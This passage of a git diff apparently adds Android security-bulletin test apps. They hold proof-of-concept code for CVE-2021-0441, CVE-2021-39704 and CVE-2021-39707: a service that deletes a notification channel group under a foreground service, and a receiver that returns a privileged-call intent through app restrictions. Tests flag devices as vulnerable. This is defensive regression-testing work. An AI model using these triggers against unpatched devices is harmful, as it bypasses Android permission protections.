+ // Selecting all visible objects with res-id: android:id/message
+ Pattern patternMessage = Pattern.compile(getString(R.string.ui_id_message));
+ BySelector selectorMessage = By.res(patternMessage);
+
+ boolean isAlertTitleVisible =
+ device.wait(Until.hasObject(selectorAlert), getInteger(R.integer.wait_time_ms));
+ boolean isMessageVisible = device.wait(Until.hasObject(selectorMessage),
+ getInteger(R.integer.wait_time_ms));
+ assumeTrue(isAlertTitleVisible || isMessageVisible);
+
+ List<UiObject2> objectsAlertTitle = device.findObjects(selectorAlert);
+ List<UiObject2> objectsMessage = device.findObjects(selectorMessage);
+ assumeFalse(objectsAlertTitle.isEmpty() && objectsMessage.isEmpty());
+
+ if (!objectsAlertTitle.isEmpty() && objectsMessage.isEmpty()) {
+ for (UiObject2 obj : objectsAlertTitle) {
+ String text = obj.getText();
+ if (text == null) {
+ continue;
+ }
+ if (text.contains(getString(R.string.app_name))
+ && text.contains(Integer.toString(getInteger(R.integer.pictures)))) {
+ fail("Vulnerable to b/174495520 !!");
+ }
+ }
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java
new file mode 100644
index 00000000000..7c8b8fe71f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0441;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.IntentSender;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.MediaStore;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ requestDeletePermission(getUriList(getResources().getInteger(R.integer.pictures)));
+ }
+
+ ArrayList<Uri> getUriList(int capacity) {
+ ArrayList<Uri> list = new ArrayList<Uri>();
+ for (int i = 0; i < capacity; ++i) {
+ Uri uri = Uri.parse(getString(R.string.path) + i);
+ list.add(uri);
+ }
+ return list;
+ }
+
+ private void requestDeletePermission(List<Uri> uriList) {
+ PendingIntent pi = MediaStore.createDeleteRequest(getContentResolver(), uriList);
+ try {
+ startIntentSenderForResult(pi.getIntentSender(),
+ getResources().getInteger(R.integer.request_code), null, 0, 0, 0);
+ } catch (IntentSender.SendIntentException e) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
new file mode 100644
index 00000000000..044a5f5a161
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39704",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
new file mode 100644
index 00000000000..70b7a736be5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39704">
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+ <application
+ android:supportsRtl="true">
+ <service
+ android:name=".PocService"
+ android:exported="true">
+ </service>
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39704" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml
new file mode 100644
index 00000000000..ec924a9a275
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <integer name="pass">2</integer>
+ <integer name="timeoutMs">5000</integer>
+ <integer name="assumptionFailure">3</integer>
+ <integer name="fail">1</integer>
+ <integer name="width">50</integer>
+ <integer name="height">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml
new file mode 100644
index 00000000000..ab82c01b528
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="channel">channel</string>
+ <string name="failMessage">Failed to open </string>
+ <string name="group">group</string>
+ <string name="groupId">groupId</string>
+ <string name="messageKey">messageKey</string>
+ <string name="passMessage">Passed</string>
+ <string name="resultKey">resultKey</string>
+ <string name="sharedPreference">sharedPreference</string>
+ <string name="vulnerableMessage">Vulnerable to b/209965481</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java
new file mode 100644
index 00000000000..633622957d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.pm.PackageManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.Semaphore;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testdeleteNotificationChannelGroup() {
+ try {
+ Context context = getApplicationContext();
+ PackageManager packageManager = context.getPackageManager();
+ Intent intent = packageManager
+ .getLaunchIntentForPackage(context.getPackageName());
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
+ context.startActivity(intent);
+ SharedPreferences sh = context.getSharedPreferences(
+ context.getString(R.string.sharedPreference),
+ Context.MODE_APPEND);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(
+ SharedPreferences sharedPreferences, String key) {
+ if (key.equals(context.getString(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key, 0) == context
+ .getResources().getInteger(R.integer.pass)) {
+ preferenceChanged.release();
+ }
+ }
+ }
+ };
+ sh.registerOnSharedPreferenceChangeListener(listener);
+ preferenceChanged.tryAcquire(
+ context.getResources().getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS);
+
+ int result = sh.getInt(context.getString(R.string.resultKey),
+ context.getResources().getInteger(R.integer.pass));
+ String message = sh.getString(
+ context.getString(R.string.messageKey),
+ context.getString(R.string.passMessage));
+ assumeTrue(message, result != context.getResources()
+ .getInteger(R.integer.assumptionFailure));
+ assertNotEquals(message, result,
+ context.getResources().getInteger(R.integer.fail));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java
new file mode 100644
index 00000000000..60ce757808f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import android.app.Activity;
+import android.Manifest;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+//PocActitvity is required because requestPermissions needs to implemented to request location permission.
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ if (this.checkCallingOrSelfPermission(
+ Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
+ startForegroundService(new Intent(this, PocService.class));
+ this.requestPermissions(
+ new String[] {
+ Manifest.permission.ACCESS_COARSE_LOCATION },0);
+ }
+ } catch (Exception e) {
+ setExceptionStatus(e.toString(),
+ getResources().getInteger(R.integer.assumptionFailure));
+ }
+ }
+
+ private void setExceptionStatus(String message, int status) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), status);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java
new file mode 100644
index 00000000000..23303c3c23c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.content.SharedPreferences;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Icon;
+import android.os.IBinder;
+
+//PocService is needed to build the notification when the service starts.
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ try {
+ exploitBug();
+ super.onCreate();
+ } catch (Exception e) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ e.getMessage());
+ }
+ }
+
+ void exploitBug() {
+ try {
+ final NotificationManager notificationManager = getSystemService(
+ NotificationManager.class);
+ final String id = getString(R.string.channel);
+ final String groupId = getString(R.string.groupId);
+ notificationManager.createNotificationChannelGroup(
+ new NotificationChannelGroup(groupId,
+ getString(R.string.group)));
+ NotificationChannel notificationChannel = new NotificationChannel(
+ id, id, NotificationManager.IMPORTANCE_HIGH);
+ notificationChannel.setGroup(groupId);
+ notificationManager.createNotificationChannel(notificationChannel);
+ Notification notification = new Notification.Builder(this, id)
+ .setSmallIcon(createNotificationIcon()).build();
+ startForeground(1, notification);
+ setResult(getResources().getInteger(R.integer.fail),
+ getString(R.string.vulnerableMessage));
+ notificationManager.deleteNotificationChannelGroup(groupId);
+ setResult(getResources().getInteger(R.integer.fail),
+ getString(R.string.vulnerableMessage));
+ } catch (SecurityException e) {
+ setResult(getResources().getInteger(R.integer.pass),
+ getString(R.string.passMessage));
+ }
+ }
+
+ private void setResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+
+ Icon createNotificationIcon() {
+ Resources resources = getResources();
+ Bitmap testBitmap = Bitmap.createBitmap(
+ resources.getInteger(R.integer.width),
+ resources.getInteger(R.integer.height),
+ Bitmap.Config.ARGB_8888);
+ final Canvas canvas = new Canvas(testBitmap);
+ canvas.drawColor(Color.BLUE);
+ return Icon.createWithBitmap(testBitmap);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
new file mode 100644
index 00000000000..517619afdab
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39707",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
new file mode 100644
index 00000000000..bfb3943ba87
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39707">
+ <application android:label="@string/testAppLabel">
+ <receiver android:name=".PocReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+ </intent-filter>
+ </receiver>
+ <activity android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.CALL_PRIVILEGED" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <data android:scheme="tel" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39707" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
new file mode 100644
index 00000000000..902f48ce1ea
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="defaultSettingsPkgName">com.android.settings</string>
+ <string name="resTestAppIcon">%1$s:id/app_restrictions_settings</string>
+ <string name="testAppLabel">CVE-2021-39707</string>
+ <string name="testFailMsg">Device is vulnerable to b/200688991!!</string>
+ <string name="textAppContentAccess">App &amp; content access</string>
+ <string name="textRestrictedUser">CVE_2021_39707_RestrictedUser</string>
+ <string name="timedOutMsg">Timed out waiting for text/res \'%1$s\' on display</string>
+ <string name="uriData">tel:555-TEST</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
new file mode 100644
index 00000000000..db3acb09a05
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testAppRestrictionsFragment() {
+ try {
+ /* Start the "User Settings" window */
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ Context context = getApplicationContext();
+ context.startActivity(intent);
+ String settingsPkgName =
+ intent.resolveActivity(context.getPackageManager()).getPackageName();
+ settingsPkgName =
+ (settingsPkgName == null) ? context.getString(R.string.defaultSettingsPkgName)
+ : settingsPkgName;
+
+ /*
+ * Click on the text "CVE_2021_39707_RestrictedUser", the restricted user that we added
+ * before
+ */
+ final int uiTimeoutMs = 5000;
+ String textRestrictedUser = context.getString(R.string.textRestrictedUser);
+ BySelector selector = By.text(textRestrictedUser);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeTrue(context.getString(R.string.timedOutMsg, textRestrictedUser),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ device.findObject(selector).click();
+
+ /* Click on the text "App & content access" */
+ String textAppContentAccess = context.getString(R.string.textAppContentAccess);
+ selector = By.text(textAppContentAccess);
+ assumeTrue(context.getString(R.string.timedOutMsg, textAppContentAccess),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ device.findObject(selector).click();
+
+ /*
+ * Click on the icon with resource name
+ * "com.android.settings:id/app_restrictions_settings" next to the test app
+ * "CVE-2021-39707"
+ */
+ UiScrollable scrollable = new UiScrollable(new UiSelector());
+ String textTestApp = context.getString(R.string.testAppLabel);
+ scrollable.scrollTextIntoView(textTestApp);
+ selector = By.text(textTestApp);
+ assumeTrue(context.getString(R.string.timedOutMsg, textTestApp),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ UiObject2 parent = device.findObject(selector).getParent().getParent().getParent();
+ selector = By.res(context.getString(R.string.resTestAppIcon, settingsPkgName));
+ parent.findObject(selector).click();
+
+ /*
+ * Wait on the UI of the dialer app, test fails if the dialer app appears on the screen
+ * which indicates vulnerable behaviour
+ */
+ TelecomManager telecomManager = context.getSystemService(TelecomManager.class);
+ selector = By.pkg(telecomManager.getSystemDialerPackage());
+ assertFalse(context.getString(R.string.testFailMsg),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
new file mode 100644
index 00000000000..92645c498f8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.app.Activity;
+
+// In order to detect the vulnerability, intent with action "android.intent.action.CALL_PRIVILEGED"
+// must resolve to more than 1 activity, so PocActivity is defined here with this intent to have at
+// least one activity other than the "PrivilegedCallActivity".
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
new file mode 100644
index 00000000000..6d4caae068b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocReceiver extends BroadcastReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ Bundle result = new Bundle();
+ Intent dialIntent = new Intent();
+ dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
+ dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ setResultExtras(result);
+ } catch (Exception e) {
+ // ignore all exceptions, in the worst case, any exception caught here indicates that
+ // setting extra intent was unsuccessful, so test will pass in the worst case.
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
new file mode 100644
index 00000000000..13a86e3b68e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39808",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml
new file mode 100644
index 00000000000..0394d6ccb6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml
@@ -0,0 +1,30 @@
